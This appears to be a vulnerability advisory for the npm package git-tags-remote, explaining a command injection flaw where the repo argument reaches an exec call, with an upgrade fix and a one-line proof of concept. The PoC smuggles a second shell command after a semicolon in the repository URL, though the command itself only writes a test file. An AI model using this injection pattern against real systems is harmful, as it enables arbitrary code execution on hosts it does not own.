How to fix?

Upgrade git-tags-remote to version 1.0.3 or higher.

Overview

git-tags-remote is a Get remote repository tags.

Affected versions of this package are vulnerable to Command Injection. The package fails to sanitize the repository input and passes it directly to an exec call on the get function . This may allow attackers to execute arbitrary code in the system if the repo value passed to the function is user-controlled.

PoC

const gitTagsRemote = require('git-tags-remote'); 
gitTagsRemote.get('https://github.com/sh0ji/git-tags-remote.git; echo "Injection Success" > /tmp/command-injection.test') .then(tags => console.log(tags));
